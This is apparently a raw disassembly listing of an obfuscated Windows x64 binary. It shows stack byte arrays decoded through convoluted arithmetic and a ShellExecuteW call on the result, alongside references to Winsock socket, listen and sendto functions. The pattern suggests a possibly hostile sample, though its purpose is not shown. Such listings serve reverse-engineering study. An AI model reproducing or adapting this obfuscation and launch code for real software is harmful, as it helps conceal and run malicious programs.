lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400d9c9b
lea rcx, [r11 + r15]
mov rax, rcx
and rax, rbx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rbx
sub dl, 5
jmp 0x1400d9cd5
je 0x1400da5b0
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400da536
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400da506
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400da4d4
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400da4b1
cmp r9, r11
ja 0x1400da60f
lea rax, [r9 + 2]
cmp r8, rax
jae 0x1400d9cfe
lea ecx, [r11 + 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x69
jmp 0x1400d9d40
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400da473
inc rax
cmp r8, rax
je 0x1400da453
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400da439
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400da41f
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400da3f6
nop
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x1400da16e
nop dword [rax]
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400da150
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400da12d
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400da10d
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400da0f3
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400da0d9
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400da0bf
lea rcx, [r9 + 0x200]
cmp r8, rcx
je 0x1400da0a5
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400da07c
mov r8, rcx
lea r9, [rcx + 8]
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x1400da5f3
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x1400da5d7
lea rax, [r9 + 0x3e8]
cmp rcx, rax
jb 0x1400d9eda
lea rax, [r9 + 0x80]
cmp rcx, rax
jb 0x1400d9ec0
lea rax, [r9 + 5]
cmp rcx, rax
jb 0x1400d9ea6
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x1400da032
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x1400d9fc2
mov r8, rax
lea r9, [rax + 0x80]
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400d9f96
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400d9f7c
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400d9f62
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400d9f48
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400d9f2e
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400d9f14
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400d9ef4
lea r8, [r9 + 1]
lea r9, [r8 + 0x80]
jmp 0x1400d9d50
lea ecx, [r11 - 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x49
jmp 0x1400d9d40
lea ecx, [r11 - 0x55]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x53
jmp 0x1400d9cd5
lea ecx, [r11 - 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x5d
jmp 0x1400d9c65
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x34
dec r11
inc r11
jmp 0x1400d9c55
lea ecx, [r11 + 6]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x2a
jmp 0x1400da4e9
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x20
jmp 0x1400da51b
lea ecx, [r11 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x16
jmp 0x1400da51e
lea ecx, [r11 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0xc
jmp 0x1400da54e
lea ecx, [r11 + 0x6e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 2
jmp 0x1400da573
lea edx, [r11 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
movzx eax, byte [rbp + r11 - 0x10]
add rax, r9
add r11, rax
inc r11
jmp 0x1400d9c55
lea ecx, [r11 + 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x35
cmp r8, 0x41
jae 0x1400da3b6
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1400da2fe
lea edx, [r11 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
cmp r9, 8
jb 0x1400da3a9
movzx ebx, r11b
lea ecx, [rbx - 0x6e]
movzx eax, cl
and al, r10b
mov edx, 1
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
add dl, dl
jmp 0x1400da48b
lea ecx, [r11 - 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x3f
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x1400da3d7
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1400da265
lea ecx, [r11 + 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x31
jmp 0x1400d9fd7
lea ecx, [r11 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x76
movzx eax, byte [rbp + r11 - 0x10]
add rax, r9
add r11, rax
inc r11
jmp 0x1400d9c55
lea ecx, [r11 + 0xe]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x62
jmp 0x1400da54e
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x58
jmp 0x1400da51e
lea ecx, [r11 - 0x3e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x4e
jmp 0x1400da51b
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x44
jmp 0x1400da4e9
lea ecx, [r11 + 0x76]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x3a
dec r11
inc r11
jmp 0x1400d9c55
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x30
inc r9
dec r11
inc r11
jmp 0x1400d9c55
lea ecx, [r11 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x26
movzx ebx, r11b
jmp 0x1400da48b
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400da191
lea ecx, [r11 - 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 5
jmp 0x1400da047
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400da1c6
lea edx, [r11 + 0x1e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
movzx eax, byte [rbp + r11 - 0x10]
add rax, r9
add r11, rax
inc r11
jmp 0x1400d9c55
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400da1ec
lea edx, [r11 + 0x6a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400da54e
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400da212
lea edx, [r11 - 0x4a]
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400da51b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400da23b
lea ecx, [r11 + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0xe
dec r11
inc r11
jmp 0x1400d9c55
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400da047
movzx ebx, r11b
lea ecx, [rbx + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x22
jmp 0x1400da48b
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400da28b
movzx ebx, r11b
lea ecx, [rbx + 0x2d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x3b
jmp 0x1400da48b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400da2b4
lea ecx, [r11 + 0x79]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x4f
dec r11
inc r11
jmp 0x1400d9c55
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400da2d7
lea ecx, [r11 - 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x59
jmp 0x1400da4e9
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d9fd7
lea ecx, [r11 + 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x77
jmp 0x1400da54e
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400da333
lea edx, [r11 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
movzx eax, byte [rbp + r11 - 0x10]
add rax, r9
add r11, rax
inc r11
jmp 0x1400d9c55
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400da359
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400da54e
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400da37f
lea edx, [r11 - 0x52]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400da51e
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400da006
lea edx, [r11 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400da4e9
mov byte [rbp + r11 - 0x10], dl
inc r11
jmp 0x1400d9c55
lea edx, [r11 - 0x48]
movzx eax, dl
and al, r10b
add al, al
movzx ecx, byte [rbp + r11 - 0x10]
sub cl, al
sub dl, 8
add dl, cl
add dl, r10b
jmp 0x1400da4e9
lea ecx, [r11 - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + r11 - 0x10]
lea edx, [r10 + rcx]
sub dl, 0x12
jmp 0x1400da54e
lea ecx, [r11 + 0x65]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x3d
movzx eax, byte [rbp + r11 - 0x10]
add rax, r9
add r11, rax
inc r11
jmp 0x1400d9c55
lea ecx, [r11 + 0x3f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x47
jmp 0x1400da573
lea ecx, [r11 - 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x5b
jmp 0x1400da51e
lea ecx, [r11 - 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x79
dec r11
inc r11
jmp 0x1400d9c55
movzx ebx, r11b
lea ecx, [rbx + 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x73
add bl, 0x25
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 3
add bl, r10b
mov byte [rbp + r11 - 0x10], bl
inc r9
dec r11
inc r11
jmp 0x1400d9c55
lea ecx, [r11 - 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x55
inc r9
dec r11
inc r11
jmp 0x1400d9c55
lea ecx, [r11 + 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x41
lea ecx, [r11 + 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0xd
add cl, dl
add cl, r10b
mov byte [rbp + r11 - 0x10], cl
jmp 0x1400da51b
lea ecx, [r11 + 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x37
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400d9c55
lea rcx, [r11 + r13]
movzx r10d, bl
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x23
lea ecx, [r11 + 0x71]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x17
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 - 0x10], al
inc r9
add rax, r9
sub r11, rax
lea ecx, [r11 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x1c
add cl, r10b
mov byte [rbp + r11 - 0x10], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 - 0x10]
add rax, r9
add r11, rax
inc r11
jmp 0x1400d9c55
lea rcx, [r11 + r12]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0xf
movzx eax, byte [rbp + r11 - 0x10]
add rax, r9
add r11, rax
inc r11
jmp 0x1400d9c55
add r11b, 0x5f
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x67
jmp 0x1400d9c50
add r11b, 0x39
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x71
jmp 0x1400d9c40
lea rax, [rbp + 0x16fbab4]
jmp 0x1400da625
lea rax, [rbp + 0x1123d47]
jmp 0x1400da625
lea rax, [rbp - 0x10]
mov qword [rbp + 0x3d8], rax
xor r8d, r8d
lea rdx, [rbp + 0x3d8]
lea rcx, [rbp + 0x10]
call fcn.140025300
nop
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x30]
call fcn.140024050
lea rcx, [rbp + 0x30]
call fcn.140024810
mov dword [rsp + 0x28], esi
xor ebx, ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, r14
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x30]
call fcn.1400247a0
nop
lea rcx, [rbp + 0x10]
call fcn.1400247a0
mov byte [rbp + 0x310], Ordinal_211
mov byte [rbp + 0x311], 0xb9
mov byte [rbp + 0x312], 0xb8
mov byte [rbp + 0x313], Ordinal_200
mov byte [rbp + 0x314], 0xbf
mov byte [rbp + 0x315], 0xf7
mov byte [rbp + 0x316], 1
mov byte [rbp + 0x317], 0xfe
mov byte [rbp + 0x318], 1
mov byte [rbp + 0x319], Ordinal_50
mov byte [rbp + 0x31a], gethostname
mov byte [rbp + 0x31b], Ordinal_50
mov byte [rbp + 0x31c], gethostname
mov byte [rbp + 0x31d], 0x45
mov byte [rbp + 0x31e], 0x45
mov byte [rbp + 0x31f], 0xf5
mov byte [rbp + 0x320], Ordinal_60
mov byte [rbp + 0x321], gethostname
mov byte [rbp + 0x322], Ordinal_60
mov byte [rbp + 0x323], 0xf2
mov byte [rbp + 0x324], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x325], Ordinal_79
mov byte [rbp + 0x326], Ordinal_50
mov byte [rbp + 0x327], 0x51
mov byte [rbp + 0x328], Ordinal_41
mov byte [rbp + 0x329], 0xec
mov byte [rbp + 0x32a], Ordinal_45
mov byte [rbp + 0x32b], 0x55
mov byte [rbp + 0x32c], Ordinal_45
mov byte [rbp + 0x32d], Ordinal_41
mov byte [rbp + 0x32e], 0x53
mov byte [rbp + 0x32f], Ordinal_45
mov byte [rbp + 0x330], 0x5a
mov byte [rbp + 0x331], 0xe4
mov byte [rbp + 0x332], Ordinal_27
mov byte [rbp + 0x333], Ordinal_32
mov byte [rbp + 0x334], 0xe1
mov byte [rbp + 0x335], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x336], Ordinal_45
mov byte [rbp + 0x337], WSAGetLastError
mov byte [rbp + 0x338], 0x65
mov byte [rbp + 0x339], 0x63
mov byte [rbp + 0x33a], 0xdf
mov byte [rbp + 0x33b], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x33c], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x33d], WSAStartup
mov byte [rbp + 0x33e], 0xdb
mov byte [rbp + 0x33f], Ordinal_27
mov byte [rbp + 0x340], 0x61
mov byte [rbp + 0x341], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x342], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x343], WSAStartup
mov byte [rbp + 0x344], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x345], Ordinal_211
mov byte [rbp + 0x346], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x347], 8
mov byte [rbp + 0x348], 4
mov byte [rbp + 0x349], 6
mov byte [rbp + 0x34a], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x34b], ntohl
mov byte [rbp + 0x34c], 9
mov byte [rbp + 0x34d], 2
mov byte [rbp + 0x34e], 0xcb
mov byte [rbp + 0x34f], 3
mov byte [rbp + 0x350], 1
mov byte [rbp + 0x351], 8
mov byte [rbp + 0x352], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x353], 1
mov byte [rbp + 0x354], 0x7f
mov byte [rbp + 0x355], 0xa
mov byte [rbp + 0x356], 0xc1
mov byte [rbp + 0x357], reloc.WLDAP32.dll_Ordinal_143
xor eax, eax
mov qword [rbp + 0x358], rax
mov word [rbp + 0x360], ax
movabs r14, 0xd58baac59597c379
movabs r12, 0xd6d1ab671726584f
movabs r13, 0x2bba55dbebf6d15d
movabs r15, 0x80a30050c0c74a6b
movzx r11d, byte [rbp + 0x3c0]
nop dword [rax]
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
mov rdi, rbx
cmp rdi, 0x52
jae 0x1400db416
movzx r10d, byte [rbp + rdi + 0x310]
mov rbx, r10
nop dword [rax]
cmp r8, rdi
ja 0x1400db40d
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400da91c
lea rcx, [rdi + r14]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x4f
jmp 0x1400da955
je 0x1400db39b
inc rax
cmp r8, rax
je 0x1400db33e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400db2fd
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400db2dc
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400db297
cmp r9, rdi
ja 0x1400db404
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x1400da981
lea ecx, [rdi - 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7b
jmp 0x1400da9b0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400db27b
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400db25a
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400db23c
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400daf18
nop dword [rax]
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400daef8
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400daed0
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400daeaf
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400dae96
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400dae7b
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400dae60
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400dae41
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400dae26
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400dadf6
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400da9c0
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400db3e5
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400db3c6
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400dabaf
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400dab91
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400dab77
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400dada7
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400dad5c
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400dad19
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400dacf3
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400da9c0
lea r8, [r9 + 0x7a]
lea r9, [r8 + 1]
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400dacc3
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400daca7
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400dac89
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400dac6a
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400dac4f
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400dac36
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400dac11
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400dabed
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400dabcd
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400da9c0
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x5a]
jmp 0x1400da9c0
lea ecx, [rdi - 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x1b
jmp 0x1400da9b0
lea edx, [rdi - 0x3f]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x47
add r11b, dl
jmp 0x1400da955
lea edx, [rdi - 0x31]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x57
add r11b, dl
jmp 0x1400da8e6
lea edx, [rdi + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
movzx ebx, dil
jmp 0x1400db2b1
lea ecx, [rdi + 0x76]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3a
inc r9
dec rdi
inc rdi
jmp 0x1400da8d3
lea edx, [rdi - 0x7c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rdi
inc rdi
jmp 0x1400da8d3
lea edx, [rdi - 0x6e]
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x1400db1e4
lea ecx, [rdi - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x60
jmp 0x1400db20a
lea edx, [rdi - 0x52]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400db20d
lea edx, [rdi - 0x44]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x24
add r11b, dl
jmp 0x1400db316
lea edx, [rdi - 0x36]
movzx eax, r10b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400db358
lea edx, [rdi - 0x28]
movzx eax, r10b
and al, dl
mov ecx, ntohl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0x310]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400da8d3
lea ecx, [rdi + 0x7b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x5d
mov byte [rbp + rdi + 0x310], r11b
inc rdi
jmp 0x1400da8d3
lea edx, [rdi - 0x77]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x41
add r11b, dl
cmp r9, 2
jb 0x1400dad09
movzx ebx, dil
lea edx, [rbx + 0x36]
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x1400db2b4
lea edx, [rdi - 0x69]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x21
add r11b, dl
cmp r8, 0x1000
jae 0x1400db1c9
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x1400db0ec
lea edx, [rdi - 0x3e]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x4e
jmp 0x1400dad2f
lea edx, [rdi - 0x5b]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x7d
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 0x7a
je 0x1400db226
lea rax, [r9 + 1]
cmp r8, rax
jbe 0x1400db015
lea edx, [rdi - 0x2b]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x2d
jmp 0x1400dad72
lea edx, [rdi - 0x72]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0x310]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400da8d3
lea edx, [rdi - 0x64]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x44
jmp 0x1400db358
lea edx, [rdi - 0x56]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400db316
lea ecx, [rdi - 0x48]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 8
jmp 0x1400db20d
lea ecx, [rdi - 0x3a]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x6a
jmp 0x1400db20a
lea edx, [rdi - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x1400db1e4
lea ecx, [rdi - 0x1e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x2e
dec rdi
inc rdi
jmp 0x1400da8d3
lea edx, [rdi - 0x10]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x1400da8d3
movzx ebx, dil
lea edx, [rbx - 2]
movzx eax, r10b
and al, dl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400db2b1
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1400daf3c
lea edx, [rdi + 0x79]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x4f
jmp 0x1400dadbd
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400daf75
lea edx, [rdi - 0x26]
movzx eax, r10b
and al, dl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0x310]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400da8d3
inc rax
cmp r8, rax
jne 0x1400daf99
lea edx, [rdi - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400db358
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400dafc0
lea edx, [rdi - 0x42]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x32
add r11b, dl
jmp 0x1400db316
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400dafe4
lea ecx, [rdi - 0x5e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x6e
jmp 0x1400db20a
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400dadc0
lea ecx, [rdi + 0x78]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
